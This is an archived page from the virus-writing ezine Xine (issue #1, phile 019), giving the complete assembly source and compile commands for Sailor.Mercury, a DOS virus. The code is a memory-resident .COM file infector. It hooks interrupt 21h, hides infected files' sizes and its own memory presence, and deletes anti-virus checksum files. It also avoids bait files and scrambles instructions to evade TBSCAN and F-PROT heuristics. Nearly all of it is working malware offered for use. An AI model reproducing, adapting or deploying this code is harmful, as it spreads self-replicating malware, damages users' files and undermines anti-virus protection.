Copy Link
Add to Bookmark
Report

xine-1.019

eZine's profile picture
Published in 
Xine
 · 26 Apr 2019

  


/-----------------------------\
| Xine - issue #1 - Phile 019 |
\-----------------------------/


;
;
; b0z0 of the -iKx-
; present
; Sailor.Mercury
;
; hyo guys
; this is my first virus that i release to the public... so don't be too
; hard when feedbacking something :) Sailor.Mercury is the first virus of
; the Pretty Soldiers Sailor family... if you dunno who the Pretty Soldiers
; are then IN THE NAME OF THE MOON I'LL PUNISH YOU! :)
; i hope to be around enough to complete all the family... we'll see ;)
; the code in some parts isn't optimized at all. infact like you will notice
; at the comments i scrambled a little some passes to hide some heuristic
; flags from the various lame avs. the virus isn't encrypted... that's simply
; because i am not in this moment able to write a decent encryption engine...
; i tried with some standard xor and so on but this only gave a lot of
; warnings. and anyway the avs will put the decrypt procedure as a search
; string in the same manner that they will put a piece of the unencrypted
; virus... all the length stealth routines are based only on the check of
; the file size (must be < 64k of course) and file time (30 secs).
;
; And now as usual some tech infos about the virus:
; - TSR .com infector
; - infects on execute (4bh)
; - infects files longer than 1024 and shorter than 64000
; - stealth features (disabled when AVP or FPROT or tools like
; CHKDSK or SCANDISK are running)
; * fcb stealth (on 11h/12h)
; * dta stealth (on 4eh/4fh)
; * get/set interrupt 21h stealth (on 3521h/2521h)
; * size stealth on lseek calls 4202h (when seeking from end)
; - general int24h error handler
; - some retro structures
; * deletes msd0g chklist.ms on each succesfull infection
; * deletes tbav checksums
; - antibait code
; * doesn't infect files created today (checking only day, no mnth...)
; * doesn't infect files which lenght is divisible by 512
; * doesn't infect files which lenght is divisible by 1000
; - antidebug code
;
; To compile:
; TASM /M2 MERCURY.ASM
; TLINK /T MERCURY
;
;

mercury segment
assume cs:mercury,ds:mercury,es:mercury

org 100h
start:
call tbscan ;final fool for tbscan :)
call antidebug ;fool fprot
call delta ;calculate delta offset
delta:
mov bp,sp
mov bx,[bp]
mov bp,bx
sub bp,offset delta ;calculate delta offset
res_check:
mov ax,3726h ;installation check
int 21h
cmp ax,374ch
jnz go_resident
call restore_COM ;restore the original com
go_resident:
push cs
mov ax,3521h ; get int 21 adress
int 21h
mov word ptr [bp + old_int21_off],bx
mov word ptr [bp + old_int21_seg],es
pop es

mov ah,4ah ;request too much mem
mov bx,0ffffh
int 21h ;in BX max mem avaiable

sub bx,((end_vir-start+0fh)/10h)+1 ;shrink block
mov ah,4ah
int 21h ;ES = block segment

mov ah,48h
mov bx,((end_vir-start+0fh)/10h) ;allocate needed mem
int 21h ;AX = free segment

dec ax
mov es,ax ;ES = new MCB

push es
push ax
mov ax,cs
dec ax ;MCB of the previous block
mov es,ax
mov byte ptr es:[0],'Z' ;mark the previous as the last
pop ax ;so mem /debug won't see us
pop es

mov si,offset start ;ds:si = virus
add si,bp
sub ax,0fh
mov es,ax ;es:di = place for the virus
mov di,0ffh ;ds:si --> es:di
inc di ;damn tbscan :)
mov cx,offset end_vir - offset start
cld
rep movsb ; Copy the virus
push es

mov ax,2621h ; install our interrupt handler
dec ah ; fuck TBSCAN memres scan flag
pop ds
mov dx,[offset int21_handler]
int 21h
restore_COM:
pop es ;this adjust the stack from the
;calculation of the delta offset
;anyway i think that anything would
;work also fine without this
push cs ;give again control to the program
pop es
push es
pop ds
mov di,0ffh ;like mov di,100h but in this
inc di ;way tbscan won't issue 'O' flag
lea si,[bp+old_jump] ;restore first four bytes
push di
movsw
movsw
pop ax
jmp ax
lsend:
pushf
push cs ;we must return home later :)
call doint21 ;do the int21h
jc notnf
cmp dx,00h
jnz notnf ;COMs are < 65k so if dx<>0 then
;maybe isn't a .COM
push ax ;save length infos
push cx
push dx
mov ax,5700h ;get date-time
int 21h
and cl,1fh ;our time-marker?
xor cl,0fh
pop dx
pop cx
pop ax ;restore infos
jnz notnf ;if not infected leave
sub ax,(end_vir-start) ;is infected? hide the size!
notnf:
retf 2
fcbstealth:
pushf
push cs
call doint21
or al,al ;dir sucessfull??
jnz leave_dir ;no? leave all

push es
push bx
push ax
mov ah,51h ;get psp
int 21h
mov es,bx
cmp bx,es:[16h] ;is the PSP ok??
jnz error

mov bx,dx
mov al,[bx] ;al<--current drive
push ax ;look 4 extended FCB
mov ah,2fh ;get dta area
int 21h
pop ax
inc al ;=ffh
jnz no_ext ;extended fcb?
add bx,7
no_ext:
cmp word ptr es:[bx+1fh],00h ;is > 65k?
jnz error ;yup.. leave
mov al,byte ptr es:[bx+17h] ;seconds field
and al,1fh
xor al,0fh ;is file infected?
jnz error
hide:
sub word ptr es:[bx+1dh],(end_vir-start) ;hide size
error:
pop ax
pop bx
pop es
leave_dir:
retf 2
int21_handler:
cmp ax,3726h ;installation check
jne no_check
add al,al
iret
no_check:
cmp ah,32h
jne dsnn
mov byte ptr cs:[disste],00h
dsnn:
cmp ah,4ch ;program ending?
je re_stealth ;reput stealth if we disabled it

cmp byte ptr cs:[disste],01h ;if AVs runs disable
je doint21 ;stealth/infect


push bx
mov bh,12h ;bye bye tbscan X flag :)
cmp ah,bh
pop bx
je fcbstealth

cmp ah,11h
je fcbstealth

cmp ax,4202h
jne nofend
cmp cl,4dh ;is our call?
jne nofend
jmp lsend
nofend:
cmp ax,3521h ;get int21h stealth
je reqint21

cmp ax,2521h ;set int21h stealth
je setint21

cmp ah,4eh
je dtastealth

cmp ah,4fh
je dtastealth

push bx
mov bh,4bh ;re-g'bye tbscan ];)
cmp ah,bh
pop bx
je infect
doint21:
jmp cs:old_int21
old_int21 label dword
old_int21_off dw ? ;original int21 offset
old_int21_seg dw ? ;original int21 segment

reqint21:
mov es,word ptr cs:[old_int21_seg] ;give original int21h
mov bx,word ptr cs:[old_int21_off] ;instead of our
iret
setint21:
mov word ptr cs:[old_int21_seg],ds ;we will stay always
mov word ptr cs:[old_int21_off],dx ;on the top :)
iret
re_stealth:
mov byte ptr cs:[disste],00h ;reenable stealth
jmp cs:old_int21
dtastealth:
pushf
push cs ;save for the return
call doint21 ;do the call
jc nomatches

pushf
push ax
push es
push bx

mov ah,2fh ;open dta
int 21h

cmp word ptr es:[bx+1ch],00h ;is file > 64k?
jnz not_inf ;yup.. isn't a COM
mov ax,es:[bx+16h] ;file time secs
and al,1fh
xor al,0fh
jnz not_inf ;is our marker?
sub es:[bx+1ah],(end_vir-start) ;hide file size
not_inf:
pop bx
pop es
pop ax
popf
nomatches:
retf 2
infect:
pushf
push ax
push bx
push cx
push dx
push es
push ds
push bp
push si
push di

push ds
push dx
mov ax,3524h ;get int24h seg and off
int 21h
mov word ptr cs:[old_int24_off],bx ;store them
mov word ptr cs:[old_int24_seg],es

push cs
pop ds
mov dx,offset int24_handler ;put our int24h
mov ax,2524h
int 21h
pop dx
pop ds

push di
push dx
pop di
sloop:
inc di
cmp byte ptr ds:[di],'.'
jne sloop ;search for '.'
sub di,02h
cmp word ptr ds:di,'PV' ;is AVP?
jne protest
avrun:
mov byte ptr cs:[disste],01h ;yup... so disable get/set
jmp ahead ;interrupt stealth so he
protest: ;would notice us
cmp word ptr ds:di,'OR' ;is AVPRO?
je avrun
cmp word ptr ds:di,'TO' ;is f-prot running?
je avrun ;so it won't find us
ahead:
pop di
mov ax,4300h ;get file attributes
int 21h

push cx ;save attributes
push ds
push dx
sub cx,cx
call set_attr ;erase all attributes

mov ax,3d02h ;open file for rw
int 21h
jnc continue
jmp exit_infect2
continue:
mov bx,ax ;bx<--file handle
push cs
pop ds

mov ax,5700h ;get date-time
int 21h
push cx ;store date/time on stack
push dx

push dx
mov ah,2bh ;get today's date
dec ah ;hiho tbscan ;)
int 21h
pop cx
and cl,01fh ;take only day from full date
cmp cl,dl ;is the same as today?
jz exitjump ;hmmm... maybe a bait...

mov ah,3fh ;read from file
mov cx,4 ;four bytes
mov dx,offset old_jump ;in our buffer
int 21h

cmp byte ptr old_jump,'M' ;exe?
je exitjump
cmp byte ptr old_jump,0e9h ;is there a jump?
jne goahead
cmp byte ptr old_jump+3,26h ;is our marker?
exitjump:
je exit_infect
goahead:
push dx
sub cx,cx
lea dx,crca
call retro
lea dx,crcb
call retro
pop dx

mov cl,4dh ;our marker
mov ax,4202h ;go to the end of the file
cwd
sub cx,cx
int 21h

cmp ax,0fa00h ;don't infect files >64000
ja exit_infect

cmp ax,1024 ;don't infect files <=1024
jbe exit_infect

mov cx,ax
and cx,01ffh ;if divisible by 512 leave
jz exit_infect ;it's, probably a bait!

push ax
mov cx,1000 ;is length divisible by 1000??
div cx ;hmmm suspicious... there is
or dx,dx ;a bait near here... :)
pop ax
jz exit_infect

sub ax,3
mov word ptr new_jump + 1, ax ;calculate new jump

mov ah,3fh ;copy da virus
inc ah
mov cx,(end_vir-start)
mov dx,offset start
int 21h

xor al,al ;go at start
mov ah,42h
cwd
mov cx,0
int 21h

mov cx,4 ;copy new jump
mov ah,3fh ;at the start
inc ah
mov dx,offset new_jump
int 21h

pop dx ;restore date/time from stack
pop cx
mov ax,5601h ;set date
inc ah ;damn tbscan
and cl,0e0h ;marker for fcb stealth
add cl,0fh
int 21h

push ds ;correct stack if not infection
push bx ;occoured
exit_infect:
pop bx
pop ds
mov ah,3eh ;close file
int 21h
exit_infect2:
pop dx ;restore file attributes
pop ds
pop cx
call set_attr ;reput old file attributes

mov ax,2524h
mov ds,cs:[old_int24_seg]
mov dx,cs:[old_int24_off]
int 21h ; restore int24h

pop di ;restore registers
pop si
pop bp
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
popf
jmp doint21
old_jump db 0cdh,20h,00h,00h ;old com jump
virus db 0,'Sailor.Mercury',0
author db '-b0z0/iKx-',0
new_jump db 0e9h,00h,00h,26h ;space for the new jump + mark
set_attr:
mov ax,4201h ;set attributes
inc ah ;fuck tbscan F flag
int 21h
ret
tbscan:
mov ax,0305h ;fool tbscan :)
sub bx,bx
int 16h ;the final shoot for it ;)
ret
antidebug:
mov cx,0aebh ;prevent debugging
inc bp ;shit for fprot :)
mov ax,0fe05h
jmp $-2
add ah,03bh
jmp $-11
int 21h
ret
int24_handler:
mov al,03h
iret
retro:
call set_attr ;deletes file in ds:dx
mov ah,41h
int 21h
ret

crca db 'ANTI-VIR.DAT',0 ;what will we delete ;)
crcb db 'CHKLIST.MS',0 ;the only 2 that i saw in to be used
end_vir:

disste db 00h ;get/set int enable/disable
old_int24_off dw ? ;original int24 offset
old_int24_seg dw ? ;original int24 segment

mercury ends
end start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT